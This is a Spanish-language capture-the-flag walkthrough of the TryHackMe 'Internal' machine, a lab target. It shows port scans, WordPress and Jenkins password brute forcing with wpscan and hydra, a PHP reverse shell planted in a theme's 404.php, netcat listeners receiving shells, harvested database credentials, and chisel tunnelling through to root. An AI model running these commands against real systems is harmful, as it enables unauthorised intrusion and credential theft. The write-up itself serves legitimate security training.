Internal - TryHackMe

❯ ping -c 1 10.10.182.2
PING 10.10.182.2 (10.10.182.2) 56(84) bytes of data.
64 bytes from 10.10.182.2: icmp_seq=1 ttl=61 time=205 ms

--- 10.10.182.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 204.672/204.672/204.672/0.000 ms
❯ whichSystem.py 10.10.182.2

10.10.182.2 (ttl -> 61): Linux

PortScan

Para automatizar el escaneo de nmap puedes usar una herramienta que hice en Bash a modo de practica para ver que tal te funciona aqui esta link nrunscan

❯ nmap -sCV -p22,80 10.10.182.2 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-20 16:51 CST
Nmap scan report for 10.10.182.2
Host is up (0.20s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6efaefbef65f98b9597bf78eb9c5621e (RSA)
|   256 ed64ed33e5c93058ba23040d14eb30e9 (ECDSA)
|_  256 b07f7f7b5262622a60d43d36fa89eeff (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vemos que estamos ante un Wordpress

❯ nmap --script=http-enum -p80 10.10.182.2 -oN webScan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-20 16:54 CST
Nmap scan report for 10.10.182.2
Host is up (0.20s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|   /blog/: Blog
|   /phpmyadmin/: phpMyAdmin
|   /wordpress/wp-login.php: Wordpress login page.
|_  /blog/wp-login.php: Wordpress login page.

Enumeracion

Lo que ofrece en el puerto 80 solo es la pagina de Apache por defecto

 whatweb http://10.10.182.2
http://10.10.182.2 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.182.2], Title[Apache2 Ubuntu Default Page: It works]

Si vemos la ruta Blog que nos reporto el script http-enum de nmap y ademas vemos el codigo fuente vemos que los recursos cargan de ese dominio asi que tenemos que agregarlo al /etc/hosts para poder ver los recursos del Wordpress bien

echo "10.10.182.2 internal.thm" | sudo tee -a /etc/hosts
10.10.182.2 internal.thm

Ahora vemos los recursos bien

Bueno si recordamos tenemos el phpMyAdmin pero de momento no tenemos credenciales

Y tenemos el login del Wordpress

Si probamos con el usuario Admin sabemos que el usuario es valido pero la contraseña no

Bueno asta donde yo se la maquina fue desarrollada por TheMayor que pertenecio al Ejercito de Estados Unidos eh hecho CTFs que el ah creado y casi siempre establece contraseñas que estan en el rockyou.txt Si nunca has hecho algun CTF que contemple Wordpress tienes este recurso que te enseña a enumerar un Wordpress

De primeras vemos que de tema se esta utilizando el twentyseventeen el cual como nos dice en el recurso tiene por defecto un 404.php que cuando ganemos acceso al Wordpres podemos modificar para cuando se cause un error nos envie una reverse shell a nuestra maquina de atacante

❯ curl -s http://10.10.182.2/blog/ | grep themes
<link rel='stylesheet' id='twentyseventeen-style-css'  href='http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507' media='all' />
<link rel='stylesheet' id='twentyseventeen-block-style-css'  href='http://internal.thm/blog/wp-content/themes/twentyseventeen/assets/css/blocks.css?ver=20190105' media='all' />
<link rel='stylesheet' id='twentyseventeen-ie8-css'  href='http://internal.thm/blog/wp-content/themes/twentyseventeen/assets/css/ie8.css?ver=20161202' media='all' />
<script src='http://internal.thm/blog/wp-content/themes/twentyseventeen/assets/js/html5.js?ver=20161020'></script>
			<div id="wp-custom-header" class="wp-custom-header"><img src="http://internal.thm/blog/wp-content/themes/twentyseventeen/assets/images/header.jpg" width="2000" height="1200" alt="Internal" /></div>		</div>
<script src='http://internal.thm/blog/wp-content/themes/twentyseventeen/assets/js/skip-link-focus-fix.js?ver=20161114'></script>
<script src='http://internal.thm/blog/wp-content/themes/twentyseventeen/assets/js/global.js?ver=20190121'></script>
<script src='http://internal.thm/blog/wp-content/themes/twentyseventeen/assets/js/jquery.scrollTo.js?ver=2.1.2'></script>

Tambien vemos que archivo que nos indican interesante esta disponible

xmlrpc.php is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the Wordpress

Tengo un POST en el cual nos aprovechamos de este archivo para poder hacer fuerza bruta y tener la contraseña de un usuario con un script de Bash usando una estrucutra XML te dejo aqui el link es la maquina Loly:1

Bueno vamos a ver cual es la contraseña del usuario Admin

wpscan --url 10.10.182.2/blog --usernames admin --passwords /usr/share/wordlists/rockyou.txt --max-threads 50 

Y bueno la contraseña si esta en el rockyou.txt

Bueno podemos conectarnos al Wordpress

Antes de continuar la version del Wordpress tambien tiene otras vulnerabilidades

❯ searchsploit wordpress 5.4.2
---------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                |  Path
---------------------------------------------------------------------------------------------- ---------------------------------
WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities                           | php/webapps/39553.txt
WordPress Plugin iThemes Security < 7.0.3 - SQL Injection                                     | php/webapps/44943.txt
WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection                                   | php/webapps/48918.sh
---------------------------------------------------------------------------------------------- ---------------------------------

Una vez conectados si nos vamos a los Posts encontramos uno con credenciales pero bueno estas credenciales si las pruebas no te van a funcionar para nada

Bueno vamos a modificar el archivo 404.php para enviarnos una reverse shell a nuestra maquina de atacante y pondremos el contenido con la reverse shell que nos comparte pentestmonkey

Vamos a ponernos en escucha en el puerto que indicaste

❯ nc -nlvp 443
listening on [any] 443 ...

Ahora vamos a ocasionar el error para que nos llegue la reverse php-reverse-shell

Al darle click nos llega la shell

❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.2.28.226] from (UNKNOWN) [10.10.182.2] 52094
Linux internal 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 23:34:36 up 47 min,  0 users,  load average: 0.00, 0.50, 0.81
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ 

Shell www-data

Para que puedas hacer CTRL+C debes de hacer esto

script /dev/null -c bash
CTRL+Z
stty raw echo; fg
reset xterm
ENTER
export TERM=xterm
export SHELL=bash

Vemos a otro usuario

www-data@internal:/home$ ls -la
total 12
drwxr-xr-x  3 root      root      4096 Aug  3  2020 .
drwxr-xr-x 24 root      root      4096 Aug  3  2020 ..
drwx------  7 aubreanna aubreanna 4096 Aug  3  2020 aubreanna
www-data@internal:/home$ 

Aqui podemos encontrar credenciales por defecto

www-data@internal:/etc/wordpress$ cat config-localhost.php 
<?php
define('DB_NAME', 'wordpress');
define('DB_USER', 'wordpress');
define('DB_PASSWORD', 'wordpress123');
define('DB_HOST', 'localhost');
define('DB_COLLATE', 'utf8_general_ci');
define('WP_CONTENT_DIR', '/var/www/html/wordpress/wp-content');
?>
www-data@internal:/etc/wordpress$ 

Si las probamos en el phpMyadmin pues son correctas

Bueno el creador de esta maquina como ya lo habia mencionado que yo ya eh hecho CTFs donde el es el creador casi siempre pone archivos importantes en la ruta /opt si nos vamos hay pues encontramos esto

www-data@internal:/home$ cd /opt
www-data@internal:/opt$ ls
containerd  wp-save.txt

Vemos la contraseña de aubreanna

Nos podemos conectar por SSH ya que el puerto 22 esta abierto y bueno al conectarnos ya vemos que se esta corriendo un contenedor

Shell aubreanna

❯ ssh aubreanna@10.10.182.2
The authenticity of host '10.10.182.2 (10.10.182.2)' can't be established.
ECDSA key fingerprint is SHA256:fJ/BlTrDF8wS8/eqyoej1aq/NmvQh79ABdkpiiN5tqE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.182.2' (ECDSA) to the list of known hosts.
aubreanna@10.10.182.2's password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Apr 20 23:45:51 UTC 2023

  System load:  0.08              Processes:              109
  Usage of /:   63.7% of 8.79GB   Users logged in:        0
  Memory usage: 36%               IP address for eth0:    10.10.182.2
  Swap usage:   0%                IP address for docker0: 172.17.0.1

  => There is 1 zombie process.


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

0 packages can be updated.
0 updates are security updates.


Last login: Mon Aug  3 19:56:19 2020 from 10.6.2.56
aubreanna@internal:~$ 

En ese puerto se esta corriendo un jenkins

aubreanna@internal:~$ ls
jenkins.txt  snap  user.txt
aubreanna@internal:~$ cat jenkins.txt 
Internal Jenkins service is running on 172.17.0.2:8080
aubreanna@internal:~$

User flag

Si lo comprobamos vemos que esta corriendo en ese puerto

aubreanna@internal:~$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.1:42493         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0    316 10.10.182.2:22          10.2.28.226:53418       ESTABLISHED
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
aubreanna@internal:~$ 

Bueno para poder ver el contenido del Jenkins podemos hacerlo con SSH o con chisel Yo lo hare con chisel

Primero nos vamos a transferir el chisel a la maquina victima

❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.182.2 - - [20/Apr/2023 17:53:26] "GET /chisel HTTP/1.1" 200 -
aubreanna@internal:/tmp$ wget http://10.2.28.226:80/chisel
--2023-04-20 23:53:26--  http://10.2.28.226/chisel
Connecting to 10.2.28.226:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8384512 (8.0M) [application/octet-stream]
Saving to: ‘chisel’

chisel                          100%[=======================================================>]   8.00M   991KB/s    in 17s     

2023-04-20 23:53:43 (495 KB/s) - ‘chisel’ saved [8384512/8384512]

aubreanna@internal:/tmp$ chmod +x chisel 
aubreanna@internal:/tmp$ 

En nuestra maquina de atacante nos vamos a poner en modo servidor

❯ ./chisel server --reverse -p 1234
2023/04/20 17:54:21 server: Reverse tunnelling enabled
2023/04/20 17:54:21 server: Fingerprint i0ZFO3IWlNcihDo9DHLA4/aL6sBcxh9lZlmjoJh1hrs=
2023/04/20 17:54:21 server: Listening on http://0.0.0.0:1234

Y ahora nos vamos a traer el puerto 8080 a nuestra maquina

aubreanna@internal:/tmp$ ./chisel client 10.2.28.226:1234 R:8080:127.0.0.1:8080

Una vez nos conectamos se establece la conexion en nuestro equipo por el puerto 8080

❯ ./chisel server --reverse -p 1234
2023/04/20 17:54:21 server: Reverse tunnelling enabled
2023/04/20 17:54:21 server: Fingerprint i0ZFO3IWlNcihDo9DHLA4/aL6sBcxh9lZlmjoJh1hrs=
2023/04/20 17:54:21 server: Listening on http://0.0.0.0:1234
2023/04/20 17:56:48 server: session#1: tun: proxy#R:8080=>8080: Listening

Vemos que chisel esta ocupando ese puerto

❯ lsof -i:8080
COMMAND   PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
chisel  69323 root    8u  IPv6 193885      0t0  TCP *:http-alt (LISTEN)

Este es el contenido

Si pruebas con contraseñas por defecto no te van a funcionar asi que vamos a usar hydra para ver la contraseñas

Vamos a abrir el BurpSuite para poder ver la informacion que necesitamos para hacer fuerza bruta con hydra

❯ burpsuite &>/dev/null & disown
[1] 83406

Esta es la estructura ahora si ya podemos hacer la fuerza bruta

❯ hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 8080 127.0.0.1 http-post-form '/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in&Login=Login:Invalid username or password'

Tenemos la contraseña

Bueno podemos usar la consola de Jenkins para enviarnos una reverse shell siguiente esto para conseguir una reverse shell

Primero nos ponemos en escucha para recibir la Shell

❯ nc -nlvp 443
listening on [any] 443 ...

Si le damos a ejecutar nos tiene que llegar la shell

❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.2.28.226] from (UNKNOWN) [10.10.182.2] 58612
whoami
jenkins
script /dev/null -c bash
Script started, file is /dev/null
jenkins@jenkins:/$ 

Vamos a usar los mismos pasos para poder hacer ctrl+c

Shell Jenkins

Ya no hay mas interfaces

jenkins@jenkins:/opt$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever
jenkins@jenkins:/opt$ hostname -i
172.17.0.2
jenkins@jenkins:/opt$ 

Si nos vamos a /opt pues vemos la contraseña de root

jenkins@jenkins:/opt$ ls
note.txt
jenkins@jenkins:/opt$ cat note.txt 

Shell Root

root@internal:~# whoami
root
root@internal:~# id
uid=0(root) gid=0(root) groups=0(root)
root@internal:~# ls   
root.txt  snap
root@internal:~# 

Root flag